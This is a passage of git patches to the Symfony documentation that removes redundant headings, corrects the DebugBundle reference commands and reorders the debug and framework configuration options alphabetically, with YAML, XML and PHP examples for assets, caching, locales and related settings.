     ``https://symfony.com/schema/dic/symfony/symfony-1.0.xsd``
 
-Configuration
--------------
-
 .. _configuration-framework-secret:
 
 secret
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index b89aab67608..d32d3c6ad43 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -19,9 +19,6 @@ key in your application configuration.
     namespace and the related XSD schema is available at:
     ``https://symfony.com/schema/dic/services/services-1.0.xsd``
 
-Configuration
--------------
-
 **Basic Options**:
 
 * `access_denied_url`_
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index db68f815c46..0fcba509f31 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -19,9 +19,6 @@ under the ``twig`` key in your application configuration.
     namespace and the related XSD schema is available at:
     ``https://symfony.com/schema/dic/twig/twig-1.0.xsd``
 
-Configuration
--------------
-
 auto_reload
 ~~~~~~~~~~~
 
diff --git a/reference/configuration/web_profiler.rst b/reference/configuration/web_profiler.rst
index 93c65621999..de706c73fef 100644
--- a/reference/configuration/web_profiler.rst
+++ b/reference/configuration/web_profiler.rst
@@ -24,9 +24,6 @@ under the ``web_profiler`` key in your application configuration.
 
     The web debug toolbar is not available for responses of type ``StreamedResponse``.
 
-Configuration
--------------
-
 excluded_ajax_paths
 ~~~~~~~~~~~~~~~~~~~
 

From 7c72d3e4717f5c678e896fdd8d8b0fb1cfe94f5b Mon Sep 17 00:00:00 2001
From: Christophe Coevoet <stof@notk.org>
Date: Mon, 3 Mar 2025 13:47:30 +0100
Subject: [PATCH 5402/5766] Fix the top-level key in the DebugBundle reference

All our bundle reference pages have the snippet showing the commands to dump the reference and the actual values. However, the DebugBundle reference page copied the snippet from FrameworkBundle without replacing the bundle config namespace.
---
 reference/configuration/debug.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/debug.rst b/reference/configuration/debug.rst
index f33b3f3ba9a..6d86351ee0d 100644
--- a/reference/configuration/debug.rst
+++ b/reference/configuration/debug.rst
@@ -8,14 +8,14 @@ key in your application configuration.
 .. code-block:: terminal
 
     # displays the default config values defined by Symfony
-    $ php bin/console config:dump-reference framework
+    $ php bin/console config:dump-reference debug
 
     # displays the actual config values used by your application
-    $ php bin/console debug:config framework
+    $ php bin/console debug:config debug
 
     # displays the config values used by your application and replaces the
     # environment variables with their actual values
-    $ php bin/console debug:config --resolve-env framework
+    $ php bin/console debug:config --resolve-env debug
 
 .. versionadded:: 6.2
 

From 569f548afe86539b48925fed3e1ba68fe6c3c0e9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 4 Mar 2025 08:28:55 +0100
Subject: [PATCH 5403/5766] [Reference] Sort debug options alphabetically

---
 reference/configuration/debug.rst | 52 +++++++++++++++----------------
 1 file changed, 26 insertions(+), 26 deletions(-)

diff --git a/reference/configuration/debug.rst b/reference/configuration/debug.rst
index cd42d79d157..6ca05b49bd7 100644
--- a/reference/configuration/debug.rst
+++ b/reference/configuration/debug.rst
@@ -23,32 +23,6 @@ key in your application configuration.
     namespace and the related XSD schema is available at:
     ``https://symfony.com/schema/dic/debug/debug-1.0.xsd``
 
-max_items
-~~~~~~~~~
-
-**type**: ``integer`` **default**: ``2500``
-
-This is the maximum number of items to dump. Setting this option to ``-1``
-disables the limit.
-
-min_depth
-~~~~~~~~~
-
-**type**: ``integer`` **default**: ``1``
-
-Configures the minimum tree depth until which all items are guaranteed to
-be cloned. After this depth is reached, only ``max_items`` items will be
-cloned. The default value is ``1``, which is consistent with older Symfony
-versions.
-
-max_string_length
-~~~~~~~~~~~~~~~~~
-
-**type**: ``integer`` **default**: ``-1``
-
-This option configures the maximum string length before truncating the
-string. The default value (``-1``) means that strings are never truncated.
-
 .. _configuration-debug-dump_destination:
 
 dump_destination
@@ -98,3 +72,29 @@ Typically, you would set this to ``php://stderr``:
 
 
 Configure it to ``"tcp://%env(VAR_DUMPER_SERVER)%"`` in order to use the :ref:`ServerDumper feature <var-dumper-dump-server>`.
+
+max_items
+~~~~~~~~~
+
+**type**: ``integer`` **default**: ``2500``
+
+This is the maximum number of items to dump. Setting this option to ``-1``
+disables the limit.
+
+max_string_length
+~~~~~~~~~~~~~~~~~
+
+**type**: ``integer`` **default**: ``-1``
+
+This option configures the maximum string length before truncating the
+string. The default value (``-1``) means that strings are never truncated.
+
+min_depth
+~~~~~~~~~
+
+**type**: ``integer`` **default**: ``1``
+
+Configures the minimum tree depth until which all items are guaranteed to
+be cloned. After this depth is reached, only ``max_items`` items will be
+cloned. The default value is ``1``, which is consistent with older Symfony
+versions.

From 96bb798bc1dce7780827dd51cecaafde94b9ae6c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 4 Mar 2025 09:40:01 +0100
Subject: [PATCH 5404/5766] [Reference] Sort all framework options
 alphabetically

---
 reference/configuration/framework.rst | 4643 +++++++++++++------------
 1 file changed, 2322 insertions(+), 2321 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index e58a7ebc80f..0334b918c66 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -19,236 +19,355 @@ configured under the ``framework`` key in your application configuration.
     namespace and the related XSD schema is available at:
     ``https://symfony.com/schema/dic/symfony/symfony-1.0.xsd``
 
-.. _configuration-framework-secret:
+annotations
+~~~~~~~~~~~
 
-secret
-~~~~~~
+.. _reference-annotations-cache:
 
-**type**: ``string`` **required**
+cache
+.....
 
-This is a string that should be unique to your application and it's commonly
-used to add more entropy to security related operations. Its value should
-be a series of characters, numbers and symbols chosen randomly and the
-recommended length is around 32 characters.
+**type**: ``string`` **default**: ``php_array``
 
-In practice, Symfony uses this value for encrypting the cookies used
-in the :doc:`remember me functionality </security/remember_me>` and for
-creating signed URIs when using :ref:`ESI (Edge Side Includes) <edge-side-includes>`.
-That's why you should treat this value as if it were a sensitive credential and
-**never make it public**.
+This option can be one of the following values:
 
-This option becomes the service container parameter named ``kernel.secret``,
-which you can use whenever the application needs an immutable random string
-to add more entropy.
+php_array
+    Use a PHP array to cache annotations in memory
+file
+    Use the filesystem to cache annotations
+none
+    Disable the caching of annotations
 
-As with any other security-related parameter, it is a good practice to change
-this value from time to time. However, keep in mind that changing this value
-will invalidate all signed URIs and Remember Me cookies. That's why, after
-changing this value, you should regenerate the application cache and log
-out all the application users.
+debug
+.....
 
-handle_all_throwables
-~~~~~~~~~~~~~~~~~~~~~
+**type**: ``boolean`` **default**: ``%kernel.debug%``
 
-**type**: ``boolean`` **default**: ``true``
+Whether to enable debug mode for caching. If enabled, the cache will
+automatically update when the original file is changed (both with code and
+annotation changes). For performance reasons, it is recommended to disable
+debug mode in production, which will happen automatically if you use the
+default value.
 
-When set to ``true``, the Symfony kernel will catch all ``\Throwable`` exceptions
-thrown by the application and will turn them into HTTP responses.
+file_cache_dir
+..............
 
-.. _configuration-framework-http_cache:
+**type**: ``string`` **default**: ``%kernel.cache_dir%/annotations``
 
-http_cache
-~~~~~~~~~~
+The directory to store cache files for annotations, in case
+``annotations.cache`` is set to ``'file'``.
 
-enabled
-.......
+assets
+~~~~~~
 
-**type**: ``boolean`` **default**: ``false``
+.. _reference-assets-base-path:
 
-debug
-.....
+base_path
+.........
 
-**type**: ``boolean`` **default**: ``%kernel.debug%``
+**type**: ``string``
 
-If true, exceptions are thrown when things go wrong. Otherwise, the cache will
-try to carry on and deliver a meaningful response.
+This option allows you to define a base path to be used for assets:
 
-trace_level
-...........
+.. configuration-block::
 
-**type**: ``string`` **possible values**: ``'none'``, ``'short'`` or ``'full'``
+    .. code-block:: yaml
 
-For 'short', a concise trace of the main request will be added as an HTTP header.
-'full' will add traces for all requests (including ESI subrequests).
-(default: 'full' if in debug; 'none' otherwise)
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            assets:
+                base_path: '/images'
 
-trace_header
-............
+    .. code-block:: xml
 
-**type**: ``string``
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
-Header name to use for traces. (default: X-Symfony-Cache)
+            <framework:config>
+                <framework:assets base-path="/images"/>
+            </framework:config>
+        </container>
 
-default_ttl
-...........
+    .. code-block:: php
 
-**type**: ``integer``
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
 
-The number of seconds that a cache entry should be considered fresh when no
-explicit freshness information is provided in a response. Explicit
-Cache-Control or Expires headers override this value. (default: 0)
+        return static function (FrameworkConfig $framework): void {
+            // ...
+            $framework->assets()
+                ->basePath('/images');
+        };
 
-private_headers
-...............
+.. _reference-templating-base-urls:
+.. _reference-assets-base-urls:
+
+base_urls
+.........
 
 **type**: ``array``
 
-Set of request headers that trigger "private" cache-control behavior on responses
-that don't explicitly state whether the response is public or private via a
-Cache-Control directive. (default: Authorization and Cookie)
+This option allows you to define base URLs to be used for assets.
+If multiple base URLs are provided, Symfony will select one from the
+collection each time it generates an asset's path:
 
-skip_response_headers
-.....................
+.. configuration-block::
 
-**type**: ``array`` **default**: ``Set-Cookie``
+    .. code-block:: yaml
 
-Set of response headers that will never be cached even when the response is cacheable
-and public.
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            assets:
+                base_urls:
+                    - 'http://cdn.example.com/'
 
-allow_reload
-............
+    .. code-block:: xml
 
-**type**: ``string``
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
-Specifies whether the client can force a cache reload by including a
-Cache-Control "no-cache" directive in the request. Set it to ``true``
-for compliance with RFC 2616. (default: false)
+            <framework:config>
+                <framework:assets base-url="http://cdn.example.com/"/>
+            </framework:config>
+        </container>
 
-allow_revalidate
-................
+    .. code-block:: php
 
-**type**: ``string``
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
 
-Specifies whether the client can force a cache revalidate by including a
-Cache-Control "max-age=0" directive in the request. Set it to ``true``
-for compliance with RFC 2616. (default: false)
+        return static function (FrameworkConfig $framework): void {
+            // ...
+            $framework->assets()
+                ->baseUrls(['http://cdn.example.com/']);
+        };
 
-stale_while_revalidate
-......................
+.. _reference-assets-json-manifest-path:
+.. _reference-templating-json-manifest-path:
 
-**type**: ``integer``
+json_manifest_path
+..................
 
-Specifies the default number of seconds (the granularity is the second as the
-Response TTL precision is a second) during which the cache can immediately return
-a stale response while it revalidates it in the background (default: 2).
-This setting is overridden by the stale-while-revalidate HTTP Cache-Control
-extension (see RFC 5861).
+**type**: ``string`` **default**: ``null``
 
-stale_if_error
-..............
+The file path or absolute URL to a ``manifest.json`` file containing an
+associative array of asset names and their respective compiled names. A common
+cache-busting technique using a "manifest" file works by writing out assets with
+a "hash" appended to their file names (e.g. ``main.ae433f1cb.css``) during a
+front-end compilation routine.
 
-**type**: ``integer``
+.. tip::
 
-Specifies the default number of seconds (the granularity is the second) during
-which the cache can serve a stale response when an error is encountered
-(default: 60). This setting is overridden by the stale-if-error HTTP
-Cache-Control extension (see RFC 5861).
+    Symfony's :ref:`Webpack Encore <frontend-webpack-encore>` supports
+    :ref:`outputting hashed assets <encore-long-term-caching>`. Moreover, this
+    can be incorporated into many other workflows, including Webpack and
+    Gulp using `webpack-manifest-plugin`_ and `gulp-rev`_, respectively.
+
+This option can be set globally for all assets and individually for each asset
+package:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            assets:
+                # this manifest is applied to every asset (including packages)
+                json_manifest_path: "%kernel.project_dir%/public/build/manifest.json"
+                # you can use absolute URLs too and Symfony will download them automatically
+                # json_manifest_path: 'https://cdn.example.com/manifest.json'
+                packages:
+                    foo_package:
+                        # this package uses its own manifest (the default file is ignored)
+                        json_manifest_path: "%kernel.project_dir%/public/build/a_different_manifest.json"
+                        # Throws an exception when an asset is not found in the manifest
+                        strict_mode: %kernel.debug%
+                    bar_package:
+                        # this package uses the global manifest (the default file is used)
+                        base_path: '/images'
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <!-- this manifest is applied to every asset (including packages) -->
+                <framework:assets json-manifest-path="%kernel.project_dir%/public/build/manifest.json">
+                <!-- you can use absolute URLs too and Symfony will download them automatically -->
+                <!-- <framework:assets json-manifest-path="https://cdn.example.com/manifest.json"> -->
+                    <!-- this package uses its own manifest (the default file is ignored) -->
+                    <!-- Throws an exception when an asset is not found in the manifest -->
+                    <framework:package
+                        name="foo_package"
+                        json-manifest-path="%kernel.project_dir%/public/build/a_different_manifest.json" strict-mode="%kernel.debug%"/>
+                    <!-- this package uses the global manifest (the default file is used) -->
+                    <framework:package
+                        name="bar_package"
+                        base-path="/images"/>
+                </framework:assets>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            // ...
+            $framework->assets()
+                // this manifest is applied to every asset (including packages)
+                ->jsonManifestPath('%kernel.project_dir%/public/build/manifest.json');
+
+            // you can use absolute URLs too and Symfony will download them automatically
+            // 'json_manifest_path' => 'https://cdn.example.com/manifest.json',
+            $framework->assets()->package('foo_package')
+                // this package uses its own manifest (the default file is ignored)
+                ->jsonManifestPath('%kernel.project_dir%/public/build/a_different_manifest.json')
+                // Throws an exception when an asset is not found in the manifest
+                ->setStrictMode('%kernel.debug%');
+
+            $framework->assets()->package('bar_package')
+                // this package uses the global manifest (the default file is used)
+                ->basePath('/images');
+        };
+
+.. note::
+
+    This parameter cannot be set at the same time as ``version`` or ``version_strategy``.
+    Additionally, this option cannot be nullified at the package scope if a global manifest
+    file is specified.
+
+.. tip::
+
+    If you request an asset that is *not found* in the ``manifest.json`` file, the original -
+    *unmodified* - asset path will be returned.
+    You can set ``strict_mode`` to ``true`` to get an exception when an asset is *not found*.
 
- .. _configuration-framework-http_method_override:
+.. note::
 
-http_method_override
-~~~~~~~~~~~~~~~~~~~~
+    If a URL is set, the JSON manifest is downloaded on each request using the `http_client`_.
 
-**type**: ``boolean`` **default**: ``false``
+.. _reference-framework-assets-packages:
 
-This determines whether the ``_method`` request parameter is used as the
-intended HTTP method on POST requests. If enabled, the
-:method:`Request::enableHttpMethodParameterOverride <Symfony\\Component\\HttpFoundation\\Request::enableHttpMethodParameterOverride>`
-method gets called automatically. It becomes the service container parameter
-named ``kernel.http_method_override``.
+packages
+........
 
-.. seealso::
+You can group assets into packages, to specify different base URLs for them:
 
-    :ref:`Changing the Action and HTTP Method <forms-change-action-method>` of
-    Symfony forms.
+.. configuration-block::
 
-.. warning::
+    .. code-block:: yaml
 
-    If you're using the :ref:`HttpCache Reverse Proxy <symfony2-reverse-proxy>`
-    with this option, the kernel will ignore the ``_method`` parameter,
-    which could lead to errors.
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            assets:
+                packages:
+                    avatars:
+                        base_urls: 'http://static_cdn.example.com/avatars'
 
-    To fix this, invoke the ``enableHttpMethodParameterOverride()`` method
-    before creating the ``Request`` object::
+    .. code-block:: xml
 
-        // public/index.php
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
-        // ...
-        $kernel = new CacheKernel($kernel);
+            <framework:config>
+                <framework:assets>
+                    <framework:package
+                        name="avatars"
+                        base-url="http://static_cdn.example.com/avatars"/>
+                </framework:assets>
+            </framework:config>
+        </container>
 
-        Request::enableHttpMethodParameterOverride(); // <-- add this line
-        $request = Request::createFromGlobals();
-        // ...
+    .. code-block:: php
 
-trust_x_sendfile_type_header
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
 
-**type**: ``boolean`` **default**: ``%env(bool:default::SYMFONY_TRUST_X_SENDFILE_TYPE_HEADER)%``
+        return static function (FrameworkConfig $framework): void {
+            // ...
+            $framework->assets()
+                ->package('avatars')
+                    ->baseUrls(['http://static_cdn.example.com/avatars']);
+        };
 
-.. versionadded:: 7.2
+Now you can use the ``avatars`` package in your templates:
 
-    In Symfony 7.2, the default value of this option was changed from ``false`` to the
-    value stored in the ``SYMFONY_TRUST_X_SENDFILE_TYPE_HEADER`` environment variable.
+.. code-block:: html+twig
 
-``X-Sendfile`` is a special HTTP header that tells web servers to replace the
-response contents by the file that is defined in that header. This improves
-performance because files are no longer served by your application but directly
-by the web server.
+    <img src="{{ asset('...', 'avatars') }}">
 
-This configuration option determines whether to trust ``x-sendfile`` header for
-BinaryFileResponse. If enabled, Symfony calls the
-:method:`BinaryFileResponse::trustXSendfileTypeHeader <Symfony\\Component\\HttpFoundation\\BinaryFileResponse::trustXSendfileTypeHeader>`
-method automatically. It becomes the service container parameter named
-``kernel.trust_x_sendfile_type_header``.
+Each package can configure the following options:
 
-.. _reference-framework-trusted-headers:
+* :ref:`base_path <reference-assets-base-path>`
+* :ref:`base_urls <reference-assets-base-urls>`
+* :ref:`version_strategy <reference-assets-version-strategy>`
+* :ref:`version <reference-framework-assets-version>`
+* :ref:`version_format <reference-assets-version-format>`
+* :ref:`json_manifest_path <reference-assets-json-manifest-path>`
+* :ref:`strict_mode <reference-assets-strict-mode>`
 
-trusted_headers
-~~~~~~~~~~~~~~~
+.. _reference-assets-strict-mode:
 
-The ``trusted_headers`` option is needed to configure which client information
-should be trusted (e.g. their host) when running Symfony behind a load balancer
-or a reverse proxy. See :doc:`/deployment/proxies`.
+strict_mode
+...........
 
-.. _reference-framework-trusted-proxies:
+**type**: ``boolean`` **default**: ``false``
 
-trusted_proxies
-~~~~~~~~~~~~~~~
+When enabled, the strict mode asserts that all requested assets are in the
+manifest file. This option is useful to detect typos or missing assets, the
+recommended value is ``%kernel.debug%``.
 
-The ``trusted_proxies`` option is needed to get precise information about the
-client (e.g. their IP address) when running Symfony behind a load balancer or a
-reverse proxy. See :doc:`/deployment/proxies`.
+.. _reference-framework-assets-version:
+.. _ref-framework-assets-version:
 
-ide
-~~~
+version
+.......
 
-**type**: ``string`` **default**: ``%env(default::SYMFONY_IDE)%``
+**type**: ``string``
 
-Symfony turns file paths seen in variable dumps and exception messages into
-links that open those files right inside your browser. If you prefer to open
-those files in your favorite IDE or text editor, set this option to any of the
-following values: ``phpstorm``, ``sublime``, ``textmate``, ``macvim``, ``emacs``,
-``atom`` and ``vscode``.
+This option is used to *bust* the cache on assets by globally adding a query
+parameter to all rendered asset paths (e.g. ``/images/logo.png?v2``). This
+applies only to assets rendered via the Twig ``asset()`` function (or PHP
+equivalent).
 
-.. note::
+For example, suppose you have the following:
 
-    The ``phpstorm`` option is supported natively by PhpStorm on macOS and
-    Windows; Linux requires installing `phpstorm-url-handler`_.
+.. code-block:: html+twig
 
-If you use another editor, the expected configuration value is a URL template
-that contains an ``%f`` placeholder where the file path is expected and ``%l``
-placeholder for the line number (percentage signs (``%``) must be escaped by
-doubling them to prevent Symfony from interpreting them as container parameters).
+    <img src="{{ asset('images/logo.png') }}" alt="Symfony!"/>
+
+By default, this will render a path to your image such as ``/images/logo.png``.
+Now, activate the ``version`` option:
 
 .. configuration-block::
 
@@ -256,7 +375,9 @@ doubling them to prevent Symfony from interpreting them as container parameters)
 
         # config/packages/framework.yaml
         framework:
-            ide: 'myide://open?url=file://%%f&line=%%l'
+            # ...
+            assets:
+                version: 'v2'
 
     .. code-block:: xml
 
@@ -269,7 +390,9 @@ doubling them to prevent Symfony from interpreting them as container parameters)
                 https://symfony.com/schema/dic/services/services-1.0.xsd
                 http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
-            <framework:config ide="myide://open?url=file://%%f&line=%%l"/>
+            <framework:config>
+                <framework:assets version="v2"/>
+            </framework:config>
         </container>
 
     .. code-block:: php
@@ -278,203 +401,245 @@ doubling them to prevent Symfony from interpreting them as container parameters)
         use Symfony\Config\FrameworkConfig;
 
         return static function (FrameworkConfig $framework): void {
-            $framework->ide('myide://open?url=file://%%f&line=%%l');
+            // ...
+            $framework->assets()
+                ->version('v2');
         };
 
-Since every developer uses a different IDE, the recommended way to enable this
-feature is to configure it on a system level. First, you can define this option
-in the ``SYMFONY_IDE`` environment variable, which Symfony reads automatically
-when ``framework.ide`` config is not set.
-
-Another alternative is to set the ``xdebug.file_link_format`` option in your
-``php.ini`` configuration file. The format to use is the same as for the
-``framework.ide`` option, but without the need to escape the percent signs
-(``%``) by doubling them:
-
-.. code-block:: ini
-
-    // example for PhpStorm
-    xdebug.file_link_format="phpstorm://open?file=%f&line=%l"
-
-    // example for PhpStorm with Jetbrains Toolbox
-    xdebug.file_link_format="jetbrains://phpstorm/navigate/reference?project=example&path=%f:%l"
+Now, the same asset will be rendered as ``/images/logo.png?v2`` If you use
+this feature, you **must** manually increment the ``version`` value
+before each deployment so that the query parameters change.
 
-    // example for Sublime Text
-    xdebug.file_link_format="subl://open?url=file://%f&line=%l"
+You can also control how the query string works via the `version_format`_
+option.
 
 .. note::
 
-    If both ``framework.ide`` and ``xdebug.file_link_format`` are defined,
-    Symfony uses the value of the ``xdebug.file_link_format`` option.
-
-.. tip::
-
-    Setting the ``xdebug.file_link_format`` ini option works even if the Xdebug
-    extension is not enabled.
+    This parameter cannot be set at the same time as ``version_strategy`` or ``json_manifest_path``.
 
 .. tip::
 
-    When running your app in a container or in a virtual machine, you can tell
-    Symfony to map files from the guest to the host by changing their prefix.
-    This map should be specified at the end of the URL template, using ``&`` and
-    ``>`` as guest-to-host separators:
-
-    .. code-block:: text
-
-        // /path/to/guest/.../file will be opened
-        // as /path/to/host/.../file on the host
-        // and /var/www/app/ as /projects/my_project/ also
-        'myide://%%f:%%l&/path/to/guest/>/path/to/host/&/var/www/app/>/projects/my_project/&...'
-
-        // example for PhpStorm
-        'phpstorm://open?file=%%f&line=%%l&/var/www/app/>/projects/my_project/'
-
-.. _reference-framework-test:
-
-test
-~~~~
+    As with all settings, you can use a parameter as value for the
+    ``version``. This makes it easier to increment the cache on each
+    deployment.
 
-**type**: ``boolean``
+.. _reference-templating-version-format:
+.. _reference-assets-version-format:
 
-If this configuration setting is present (and not ``false``), then the services
-related to testing your application (e.g. ``test.client``) are loaded. This
-setting should be present in your ``test`` environment (usually via
-``config/packages/test/framework.yaml``).
+version_format
+..............
 
-.. seealso::
+**type**: ``string`` **default**: ``%%s?%%s``
 
-    For more information, see :doc:`/testing`.
+This specifies a :phpfunction:`sprintf` pattern that will be used with the
+`version`_ option to construct an asset's path. By default, the pattern
+adds the asset's version as a query string. For example, if
+``version_format`` is set to ``%%s?version=%%s`` and ``version``
+is set to ``5``, the asset's path would be ``/images/logo.png?version=5``.
 
-.. _config-framework-default_locale:
+.. note::
 
-default_locale
-~~~~~~~~~~~~~~
+    All percentage signs (``%``) in the format string must be doubled to
+    escape the character. Without escaping, values might inadvertently be
+    interpreted as :ref:`service-container-parameters`.
 
-**type**: ``string`` **default**: ``en``
+.. tip::
 
-The default locale is used if no ``_locale`` routing parameter has been
-set. It is available with the
-:method:`Request::getDefaultLocale <Symfony\\Component\\HttpFoundation\\Request::getDefaultLocale>`
-method.
+    Some CDN's do not support cache-busting via query strings, so injecting
+    the version into the actual file path is necessary. Thankfully,
+    ``version_format`` is not limited to producing versioned query
+    strings.
 
-.. seealso::
+    The pattern receives the asset's original path and version as its first
+    and second parameters, respectively. Since the asset's path is one
+    parameter, you cannot modify it in-place (e.g. ``/images/logo-v5.png``);
+    however, you can prefix the asset's path using a pattern of
+    ``version-%%2$s/%%1$s``, which would result in the path
+    ``version-5/images/logo.png``.
 
-    You can read more information about the default locale in
-    :ref:`translation-default-locale`.
+    URL rewrite rules could then be used to disregard the version prefix
+    before serving the asset. Alternatively, you could copy assets to the
+    appropriate version path as part of your deployment process and forgot
+    any URL rewriting. The latter option is useful if you would like older
+    asset versions to remain accessible at their original URL.
 
-.. _reference-translator-enabled-locales:
-.. _reference-enabled-locales:
+.. _reference-assets-version-strategy:
+.. _reference-templating-version-strategy:
 
-enabled_locales
-...............
+version_strategy
+................
 
-**type**: ``array`` **default**: ``[]`` (empty array = enable all locales)
+**type**: ``string`` **default**: ``null``
 
-Symfony applications generate by default the translation files for validation
-and security messages in all locales. If your application only uses some
-locales, use this option to restrict the files generated by Symfony and improve
-performance a bit:
+The service id of the :doc:`asset version strategy </frontend/custom_version_strategy>`
+applied to the assets. This option can be set globally for all assets and
+individually for each asset package:
 
 .. configuration-block::
 
     .. code-block:: yaml
 
-        # config/packages/translation.yaml
+        # config/packages/framework.yaml
         framework:
-            enabled_locales: ['en', 'es']
+            assets:
+                # this strategy is applied to every asset (including packages)
+                version_strategy: 'app.asset.my_versioning_strategy'
+                packages:
+                    foo_package:
+                        # this package removes any versioning (its assets won't be versioned)
+                        version: ~
+                    bar_package:
+                        # this package uses its own strategy (the default strategy is ignored)
+                        version_strategy: 'app.asset.another_version_strategy'
+                    baz_package:
+                        # this package inherits the default strategy
+                        base_path: '/images'
 
     .. code-block:: xml
 
-        <!-- config/packages/translation.xml -->
+        <!-- config/packages/framework.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
+            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd
                 http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config>
-                <enabled-locale>en</enabled-locale>
-                <enabled-locale>es</enabled-locale>
+                <framework:assets version-strategy="app.asset.my_versioning_strategy">
+                    <!-- this package removes any versioning (its assets won't be versioned) -->
+                    <framework:package
+                        name="foo_package"
+                        version="null"/>
+                    <!-- this package uses its own strategy (the default strategy is ignored) -->
+                    <framework:package
+                        name="bar_package"
+                        version-strategy="app.asset.another_version_strategy"/>
+                    <!-- this package inherits the default strategy -->
+                    <framework:package
+                        name="baz_package"
+                        base_path="/images"/>
+                </framework:assets>
             </framework:config>
         </container>
 
     .. code-block:: php
 
-        // config/packages/translation.php
+        // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
         return static function (FrameworkConfig $framework): void {
-            $framework->enabledLocales(['en', 'es']);
+            // ...
+            $framework->assets()
+                ->versionStrategy('app.asset.my_versioning_strategy');
+
+            $framework->assets()->package('foo_package')
+                // this package removes any versioning (its assets won't be versioned)
+                ->version(null);
+
+            $framework->assets()->package('bar_package')
+                // this package uses its own strategy (the default strategy is ignored)
+                ->versionStrategy('app.asset.another_version_strategy');
+
+            $framework->assets()->package('baz_package')
+                // this package inherits the default strategy
+                ->basePath('/images');
         };
 
-An added bonus of defining the enabled locales is that they are automatically
-added as a requirement of the :ref:`special _locale parameter <routing-locale-parameter>`.
-For example, if you define this value as ``['ar', 'he', 'ja', 'zh']``, the
-``_locale`` routing parameter will have an ``ar|he|ja|zh`` requirement. If some
-user makes requests with a locale not included in this option, they'll see a 404 error.
+.. note::
 
-set_content_language_from_locale
-................................
+    This parameter cannot be set at the same time as ``version`` or ``json_manifest_path``.
 
-**type**: ``boolean`` **default**: ``false``
+.. _reference-cache:
 
-If this option is set to ``true``, the response will have a ``Content-Language``
-HTTP header set with the ``Request`` locale.
+cache
+~~~~~
 
-set_locale_from_accept_language
-...............................
+.. _reference-cache-app:
 
-**type**: ``boolean`` **default**: ``false``
+app
+...
 
-If this option is set to ``true``, the ``Request`` locale will automatically be
-set to the value of the ``Accept-Language`` HTTP header.
+**type**: ``string`` **default**: ``cache.adapter.filesystem``
 
-When the ``_locale`` request attribute is passed, the ``Accept-Language`` header
-is ignored.
+The cache adapter used by the ``cache.app`` service. The FrameworkBundle
+ships with multiple adapters: ``cache.adapter.apcu``, ``cache.adapter.system``,
+``cache.adapter.filesystem``, ``cache.adapter.psr6``, ``cache.adapter.redis``,
+``cache.adapter.memcached``, ``cache.adapter.pdo`` and
+``cache.adapter.doctrine_dbal``.
 
-disallow_search_engine_index
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~
